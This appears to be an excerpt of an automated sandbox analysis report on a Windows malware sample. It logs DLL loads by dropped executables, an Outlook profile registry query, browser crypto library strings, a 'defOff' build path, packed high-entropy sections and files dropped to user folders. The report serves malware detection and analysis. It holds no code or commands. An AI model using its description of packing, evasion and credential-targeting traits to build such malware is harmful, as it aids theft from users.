Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1811456 > 1048576

Source: file.exe

Static PE information: Raw size of sgoicwpi is bigger than: 0x100000 < 0x1a0800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: accd68d705.exe, 00000012.00000002.2663213900.0000000000982000.00000040.00000001.01000000.00000011.sdmp, accd68d705.exe, 00000012.00000003.2528804311.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe, 00000014.00000003.2622010179.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe, 00000014.00000002.2756490960.00000000002A2000.00000040.00000001.01000000.00000014.sdmp, accd68d705.exe, 00000015.00000002.2728250250.0000000000982000.00000040.00000001.01000000.00000011.sdmp, accd68d705.exe, 00000015.00000003.2687812134.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Q10LTOCEFP0KA6N46594D.exe, 00000016.00000002.2793437431.0000000000652000.00000040.00000001.01000000.00000015.sdmp, Q10LTOCEFP0KA6N46594D.exe, 00000016.00000003.2752613172.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.750000.0.unpack :EW;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Unpacked PE file: 9.2.DocumentsIIEBKJECFC.exe.340000.0.unpack :EW;.rsrc:W;.idata :W;xbojpnva:EW;weqvlzma:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xbojpnva:EW;weqvlzma:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W;xbojpnva:EW;weqvlzma:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xbojpnva:EW;weqvlzma:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W;xbojpnva:EW;weqvlzma:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xbojpnva:EW;weqvlzma:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Unpacked PE file: 13.2.c3e1e78f6d.exe.6b0000.0.unpack :EW;.rsrc :W;.idata :W;heutirnm:EW;axktdcgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;heutirnm:EW;axktdcgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Unpacked PE file: 14.2.82b4c5cad2.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Unpacked PE file: 17.2.c3e1e78f6d.exe.6b0000.0.unpack :EW;.rsrc :W;.idata :W;heutirnm:EW;axktdcgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;heutirnm:EW;axktdcgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Unpacked PE file: 18.2.accd68d705.exe.980000.0.unpack :EW;.rsrc:W;.idata :W;citkblqg:EW;joxrtjxa:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Unpacked PE file: 19.2.82b4c5cad2.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Unpacked PE file: 20.2.70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.2a0000.0.unpack :EW;.rsrc:W;.idata :W;citkblqg:EW;joxrtjxa:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Unpacked PE file: 21.2.accd68d705.exe.980000.0.unpack :EW;.rsrc:W;.idata :W;citkblqg:EW;joxrtjxa:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Unpacked PE file: 22.2.Q10LTOCEFP0KA6N46594D.exe.650000.0.unpack :EW;.rsrc:W;.idata :W;citkblqg:EW;joxrtjxa:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Unpacked PE file: 23.2.c3e1e78f6d.exe.6b0000.0.unpack :EW;.rsrc :W;.idata :W;heutirnm:EW;axktdcgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;heutirnm:EW;axktdcgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Unpacked PE file: 24.2.82b4c5cad2.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;sgoicwpi:EW;ulryzzya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Unpacked PE file: 25.2.accd68d705.exe.980000.0.unpack :EW;.rsrc:W;.idata :W;citkblqg:EW;joxrtjxa:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C63C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C63C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: real checksum: 0x3286e8 should be: 0x321027
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: real checksum: 0x2bdf34 should be: 0x2bad62
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: real checksum: 0x2bdf34 should be: 0x2bad62
Source: file.exe	Static PE information: real checksum: 0x1bec2d should be: 0x1c776f
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x3286e8 should be: 0x321027
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: real checksum: 0x2bdf34 should be: 0x2bad62
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x30a1d1 should be: 0x301304

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: sgoicwpi
Source: file.exe	Static PE information: section name: ulryzzya
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name:
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name: xbojpnva
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name: weqvlzma
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: heutirnm
Source: random[1].exe.0.dr	Static PE information: section name: axktdcgc
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name: xbojpnva
Source: skotes.exe.9.dr	Static PE information: section name: weqvlzma
Source: skotes.exe.9.dr	Static PE information: section name: .taggant
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name:
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name: .idata
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name: citkblqg
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name: joxrtjxa
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name: .taggant
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name:
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name: .idata
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name: citkblqg
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name: joxrtjxa
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name: .taggant
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name:
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name: .idata
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name: citkblqg
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name: joxrtjxa
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B536 push ecx; ret	0_2_6C60B549
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_0035D91C push ecx; ret	9_2_0035D92F
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_00351359 push es; ret	9_2_0035135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E2D91C push ecx; ret	10_2_00E2D92F

Source: file.exe	Static PE information: section name: sgoicwpi entropy: 7.953611979868931
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name: entropy: 7.113163387400483
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 6.994558219696657
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.113163387400483
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name: entropy: 7.805629855885913
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name: entropy: 7.805629855885913
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name: entropy: 7.805629855885913

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIIEBKJECFC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
